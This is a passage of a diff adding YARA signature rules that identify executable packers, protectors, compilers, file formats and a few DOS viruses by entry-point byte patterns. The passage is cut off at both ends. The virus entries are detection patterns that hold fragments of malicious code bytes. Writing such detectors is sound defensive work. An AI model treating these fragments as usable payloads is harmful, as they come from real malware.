+		$0 = {2E A3 00 00 8C D8 2E A3 02 00 8C C8 2E A3 06 00 2E 89 2E 04 00 33 C0 8E C0 FA FC 26 A1 04 00 2E A3 0A 00 26 A1 06 00 2E A3 08 00 26 A1 0C 00 2E A3 0E 00 26 A1 0E 00 2E A3 0C 00 2E A1 06 00 26 A3 06 00 26 C7 06 04 00 D4 01 26 A3 0E 00 26 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_Custom_
+{
+	meta:
+		description = "InstallShield Custom"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+		$1 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Netopsystems_FEAD_Optimizer_2_
+{
+	meta:
+		description = "Netopsystems FEAD Optimizer 2"
+	strings:
+		$0 = {50 E8 00 00 00 00 5B 81 EB A2 01 00 00 B9 ?? ?? 01 00 2B D9 8B F3 81 EB 00 ?? ?? 00 8B FB 81 EB 00 10 00 00 57 51 56 E8 89 FE FF FF 83 C4 0C 8B AB C0 00 00 00 8D 2C 2B 4D 8A 4D 00 80 F9 CC 74}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_
+{
+	meta:
+		description = "Crunch/PE"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+		$1 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+		$2 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+		$3 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 89 E5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _SCRAM_vC5_
+{
+	meta:
+		description = "SCRAM! vC5"
+	strings:
+		$0 = {B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v129_
+{
+	meta:
+		description = "Inno Setup Module v1.2.9"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b7_
+{
+	meta:
+		description = "tElock v0.71b7"
+	strings:
+		$0 = {60 E8 48 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_02x_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.2x beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27b_
+{
+	meta:
+		description = "Exe Shield v2.7b"
+	strings:
+		$0 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+		$1 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V112_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.12 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_Extractable_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+		$1 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Diet_144__145_COM_
+{
+	meta:
+		description = "Diet 1.44 - 1.45 [COM]"
+	strings:
+		$0 = {F9 9C EB 0A 00 00 0C 00 00 00 9D 89 F8 9C 55 06 1E 57 56 52 51 53 50 E8 00 00 59 B1 04 D3 E9 8C C8 03 C1 8E D8 8E C0 BE 00 00 BF 00 00 B9 00 00 FD F3 A5 FC 8B F7 33 FF AD AD 8B E8 B2 10 E9 00 00 64 6C 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_protector_112__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma protector 1.12 -> Vladimir Sukhov"
+	strings:
+		$0 = {55 46 41 C6 D2 C1 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_Nice_Protect_V2X__GPcH_Soft_
+{
+	meta:
+		description = "DotFix Nice Protect V2.X -> GPcH Soft"
+	strings:
+		$0 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_v12003518__WFS_
+{
+	meta:
+		description = "EncryptPE v1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v34_
+{
+	meta:
+		description = "Shrinker v3.4"
+	strings:
+		$0 = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_090_COM_
+{
+	meta:
+		description = "aPack 0.90 [COM]"
+	strings:
+		$0 = {8C C8 80 C4 10 8E C0 FC B9 00 00 BE 00 01 8B FE 57 F3 A5 5F BE 00 01 06 68 20 01 1E 07 8E D8 CB 06 57 B2 80 BD 00 01 50 A4 FF D5 73 FB FF D5 73 14 FF D5 73 00 33 DB B1 04 FF D5 13 DB E2 FA 75 00 93 AA EB E4 E8 00 00 49 E2 07 5B 53 E8 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)"
+	strings:
+		$0 = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CryptEXE_10_
+{
+	meta:
+		description = "CryptEXE 1.0"
+	strings:
+		$0 = {50 FC 0E 1F 1E 07 BA 37 03 B4 09 CD 21 33 C9 8B FA 57 B4 00 CD 16 3C 1B 75 05 E8 E0 02 EB 35 3C 0D 74 36 3C 08 75 0A 80 F9 00 74 E6 FE C9 4F EB E1 3C 20 72 DD 3C EF 77 D9 80 F9 14 74 D4 3C 61 72 06 3C 7A 77 02 2C 20 AA FE C1 EB C5 BA 7E 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V520Beta1__Silicon_Realms_Toolworks____20080214_
+{
+	meta:
+		description = "Armadillo V5.20.Beta1 -> Silicon Realms Toolworks   * 20080214"
+	strings:
+		$0 = {E8 8E 3F 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 9E 16 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 F5 14 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 86 14 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? ?? 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 07 13 00 00 59 89 7D FC FF 75 08 E8 AC 47 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 7C D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 C7 F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 AD 11 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _XCompXPack_V097V098__JoKo____20080219_
+{
+	meta:
+		description = "XComp/XPack V0.97-V0.98 -> JoKo   * 20080219"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 9C 60 E8 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_42_
+{
+	meta:
+		description = "Microsoft Visual C++ 4.2"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89}
+		$1 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimbiOZ_PolyCryptor_vxx_Extranger_
+{
+	meta:
+		description = "SimbiOZ PolyCryptor v.xx-> Extranger"
+	strings:
+		$0 = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+		$1 = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Vx_Phoenix927_
+{
+	meta:
+		description = "Vx: Phoenix.927"
+	strings:
+		$0 = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+		$1 = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SVKP_v132__Pavol_Cerven_
+{
+	meta:
+		description = "SVKP v1.32 -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61}
+	condition:
+		$0 at entrypoint
+}
+rule _LamerStop_v10c_c_Stefan_Esser_
+{
+	meta:
+		description = "LamerStop v1.0c (c) Stefan Esser"
+	strings:
+		$0 = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+		$1 = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_096_
+{
+	meta:
+		description = "aPack 0.96"
+	strings:
+		$0 = {BE 0D 01 BF 00 70 8B CF FC 57 F3 A4 C3 BF 00 01 57}
+	condition:
+		$0 at entrypoint
+}
+rule _unknown__jac_
+{
+	meta:
+		description = "unknown -> jac"
+	strings:
+		$0 = {55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MacPaint_Graphics_format_
+{
+	meta:
+		description = "MacPaint Graphics format"
+	strings:
+		$0 = {00 00 00 02 FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v060_
+{
+	meta:
+		description = "tElock v0.60"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+	condition:
+		$0 at entrypoint
+}
+rule _JAR_Archive_
+{
+	meta:
+		description = "JAR Archive"
+	strings:
+		$0 = {1A 4A 61 72 1B}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeSafe_v20_
+{
+	meta:
+		description = "CodeSafe v2.0"
+	strings:
+		$0 = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+		$1 = {83 EC 10 53 56 57 E8 C4 01 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Goats_Mutilator_v16__Goat_e0f_
+{
+	meta:
+		description = "Goats Mutilator v1.6 -> Goat/_e0f"
+	strings:
+		$0 = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_v1__Arkanoid_
+{
+	meta:
+		description = "Packanoid v1 --> Arkanoid"
+	strings:
+		$0 = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+		$1 = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+		$2 = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Pascal_70_for_Windows_
+{
+	meta:
+		description = "Borland Pascal 7.0 for Windows"
+	strings:
+		$0 = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ARJ_Archive_
+{
+	meta:
+		description = "ARJ Archive"
+	strings:
+		$0 = {60 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_115__117_EXE_
+{
+	meta:
+		description = "HackStop 1.15 - 1.17 [EXE]"
+	strings:
+		$0 = {E8 00 00 52 BA EB 04 5A EB FB 9A B0 AD E6 64 52 BA EB 04 5A EB FB 9A 1E 52 B8 4D 30 CD 21 86 C4 3D FE 02 73 02 CD 20 52 BA EB 04 5A EB FB 9A 0E 1F E8 02 00 24 24 5A B4 09 CD 21 52 BA EB 04 5A EB FB 9A EB 02 D8 88 5A 1F 52 BA EB 04 5A EB FB}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10a__10d__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.0a - 1.0d -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoLanClient_
+{
+	meta:
+		description = "Video-Lan-Client"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+		$1 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_v120b_
+{
+	meta:
+		description = "eXPressor v1.2.0b"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 ?? ?? ?? 00 8D 84 05 EF FE FF FF 89 85 38 FE FF FF 8B 85 38 FE FF FF 0F BE 00 83 F8 5C}
+		$1 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _C_Cpp_Library_file_
+{
+	meta:
+		description = "C, C++ Library file"
+	strings:
+		$0 = {F0 0D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_V0001__Bubbasoft_
+{
+	meta:
+		description = "Packman V0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8}
+		$1 = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_MEW_11_SE_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MEW 11 SE 1.0] --> Anorganix"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cue_1999_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Cue 1999"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _DJoin_07_public_RC4_encryption__drmist_
+{
+	meta:
+		description = "DJoin 0.7 public (RC4 encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_081__084_PE_
+{
+	meta:
+		description = "UPX 0.81 - 0.84 [PE]"
+	strings:
+		$0 = {60 BE 00 00 00 00 8D BE 00 00 00 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DxPack_10_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DxPack 1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+		$1 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PGMPACK_v013_
+{
+	meta:
+		description = "PGMPACK v0.13"
+	strings:
+		$0 = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+		$1 = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_V10A__vcasm_
+{
+	meta:
+		description = "VProtector V1.0A -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+		$1 = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LCCWin32_1x_
+{
+	meta:
+		description = "LCC-Win32 1.x"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? 00 68 9A 10 40 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Safengine_Shielden_v2140_
+{
+	meta:
+		description = "Safengine Shielden v2.1.4.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 53 61 66 65 6E 67 69 6E 65 20 53 68 69 65 6C 64 65 6E 20 76 32 2E 31 2E 34 2E 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_062_PE_
+{
+	meta:
+		description = "UPX 0.62 [PE]"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 66 81 87 00 00 00 00 00 00 8D B0 F0 01 00 00 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_max_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _diPacker_V1X__diProtector_Software_
+{
+	meta:
+		description = "diPacker V1.X -> diProtector Software"
+	strings:
+		$0 = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+		$1 = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_1999_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ 1999"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Explosion1000_
+{
+	meta:
+		description = "Vx: Explosion.1000"
+	strings:
